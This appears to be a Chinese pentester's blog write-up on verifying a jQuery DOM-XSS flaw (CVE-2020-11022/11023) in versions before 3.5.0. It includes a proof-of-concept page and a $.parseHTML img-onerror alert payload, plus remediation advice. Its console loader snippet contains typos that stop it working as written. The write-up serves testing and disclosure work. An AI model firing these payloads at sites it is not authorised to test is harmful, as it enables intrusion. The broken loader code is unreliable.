jQuery 低版本 DOM-XSS 漏洞

(我猜应该没什么人看,所以我就这么一写,大佬们就这么一看trollface

起因是源于一次渗透过程中,扫目录404太多扫不出来,弱口令也没有,api测试我还不到家,所以又回头扫了一下端口和指纹,端口因为敏感信息太多,就不放出来了,指纹发现是java+jquery

image.png

见到jquery时我想试试文件上传(之前看到过1.7.x版本有个文件上传漏洞),在问过甲方霸霸后不允许插入数据和文件,所以放弃😭。

之后再翻阅资料时发现低版本的jquery存在着xss漏洞,所以就抱着试一试的心态去研究了一下,github上存在的poc试了一下

github项目地址:https://github.com/mahp/jQuery-with-XSS(在csdn上看到有大佬直接贴出源码,不知是否是本人,所以我这里只写github地址了)

源码太多,我这里只选择关键部分,其他的已省略号代替

<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Jquery XSS</title> <script type="text/javascript" src="http://url/jquery-1.8.2.min.js"></script> #这里改成自己的目标地址 <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> --> <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> --> <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> --> <script> $(function () { // #9521 // #11290 $(location.hash); // #11974 $('#bug').on('click', function () { $.parseHTML("<img src='z' onerror='alert(\"bug-11974\")'>"); return false; }); }) </script> ...... </body> </html>

代码啥作用我就不说了(绝对不是因为我除了onerror里的其他都看不懂),打开poc是这样的

image.png

改完目标地址后再打开点击下面那个11974会发现出现弹窗

image.png

漏洞验证完成,但因为某些原因,报告里不让体现poc,所以继续研究如何手工让其弹窗。首先就想到了浏览器开发者工具中控制台可以调试js代码,但如何利用控制台动态加载jquery因为我没怎么碰过jquery所以不太清楚代码。(后来知道了代码的我发现自己有点清澈的愚蠢😂 )

代码不多,就几行,首先是加载jquery

var script = document.creatElement('script');

script.src = "你发现的jquery-min.js路径"

document.head.append("script");

image.png

这两行代码执行后jquery就动态加载好了,之后在输入payload

$.parseHTML("<img src='z' onerror='alert(\"1111111\")'>");

image.png

哎嘿,弹窗出现了。至此漏洞验证结束,写报告去。

其实这次有点取巧了,有些文章里说这样验证存在一些问题,不大靠谱,不过我java比较弱,而且jquery接触的很少,所以如果有大佬懂的话烦请指点小子一二。

如果有需要的话直接poc验证即可,无需手动加载验证。(反正效果都一样)

该漏洞影响范围为3.4.0版本之前。但因为jquery的版本规则我没弄懂,如果有大佬知道明确的影响范围欢迎指正。

此致,敬礼∠(°ゝ°)

PS.补充一下知识点

1.DOM-XSS(摘自https://blog.csdn.net/weixin_59047731/article/details/134532867)

DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。

在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个项级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。

2.jquery(摘自百度百科)

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。jQuery的核心特性可以总结为:具有独特的链式语法和短小清晰的多功能接口;具有高效灵活的CSS选择器,并且可对CSS选择器进行扩展;拥有便捷的插件扩展机制和丰富的插件。jQuery兼容各种主流浏览器,如IE 6.0+、FF1.5+、Safari 2.0+、Opera 9.0+等。


更新 2024.07.09

昨天晚上科学上网了一下,翻了翻论坛,找到了一个相关的编号漏洞(CVE-2020-11022/CVE-2020-11023),危险等级为中。

影响范围也说得比较明确,JQuery版本大于等于1.2 ,小于 3.5.0。这个漏洞是20年的,不过鉴于用旧不用新的优秀传统,这个漏洞还是能用某些资产搜索工具或网站发现。

修复建议(摘自https://blog.csdn.net/qq_61872115/article/details/134142487)

修复建议这个纯纯是我懒,不想自己写了,就借鉴了csdn大佬的,感觉就算我写了也没他写得好。

  • 更新 jQuery 到 3.5.0 或更高版本
  • 关闭不必要的目录访问权限,如Scripts目录,仅开放提供服务的目录
  • 过滤输入的数据,对例如:“ ‘ ”,“ “ ”,” < “,” > “,” on* “,script、iframe等危险字符进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。

此致,敬礼∠(°ゝ°) 今天希望能多一些弱口令,不然啥漏洞都翻不着纯纯坐大牢。